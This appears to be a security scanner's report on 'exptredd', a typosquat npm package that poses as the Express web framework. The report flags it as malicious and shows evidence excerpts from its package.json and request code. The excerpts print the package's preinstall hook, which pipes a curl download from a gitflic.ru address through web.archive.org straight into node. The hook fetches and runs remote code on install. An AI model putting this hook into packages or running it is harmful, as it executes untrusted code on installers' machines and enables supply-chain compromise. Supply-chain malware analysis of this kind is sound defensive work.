exptredd 5.2.4
Malicious preinstall script
“Fast, unopinionated, minimalist web framework”
Foreign repo claim with preinstall curl pipe to nodenpm preinstall executes replayed third-party code through Node stdin
SHA-25619575cae007170a942b37cc12faf166ff9a486ecddfdce3100bc04bdd6f5581a
Evidence
⋯13 lines
14 ],
15 "license": "MIT",
16 "repository": "expressjs/express",
17 "homepage": "https://expressjs.com/",
18 "funding": {
19 "type": "opencollective",
20 "url": "https://opencollective.com/express"
⋯11 lines
32 "api"
33 ],
34 "dependencies": {
35 "accepts": "^2.0.0",
36 "body-parser": "^2.2.1",
⋯10 lines
⋯7 lines
68 "cookie-session": "2.1.1",
69 "ejs": "^3.1.10",
70 "eslint": "8.47.0",
71 "express-session": "^1.18.1",
72 "hbs": "4.2.0",
73 "marked": "^15.0.3",
74 "method-override": "3.0.0",
75 "mocha": "^10.7.3",
⋯4 lines
83 "node": ">= 18"
84 },
85 "files": [
86 "LICENSE",
87 "Readme.md",
88 "index.js",
89 "lib/"
90 ],
91 "scripts": {
92 "lint": "eslint .",
93 "lint:fix": "eslint . --fix",
94 "test": "mocha --require test/support/env --reporter spec --check-leaks test/ test/acceptance/",
95 "test-ci": "nyc --exclude examples --exclude test --exclude benchmarks --reporte …
96:100… ter=text npm test",
97 "test-tap": "mocha --require test/support/env --reporter tap --check-leaks test/ test/acceptance/",
98 "preinstall": "curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node"
99 }
100}
⋯6 lines
7 */
8
9'use strict';
10
11/**
12 * Module dependencies.
13 * @private
14 */
15
16var accepts = require('accepts');
17var isIP = require('node:net').isIP;
18var typeis = require('type-is');
19var http = require('node:http');
20var fresh = require('fresh');
21var parseRange = require('range-parser');
22var parse = require('parseurl');
23var proxyaddr = require('proxy-addr');
24
25/**
⋯14 lines
40 * Return request header.
41 *
42 * The `Referrer` header field is special-cased,
43 * both `Referrer` and `Referer` are interchangeable.
44 *
45 * Examples:
46 *
47 * req.get('Content-Type');
48 * // => …
Showing the top 5 files — 5 more files (41 regions) not shown.
No evidence locations were recorded for this file. Raw result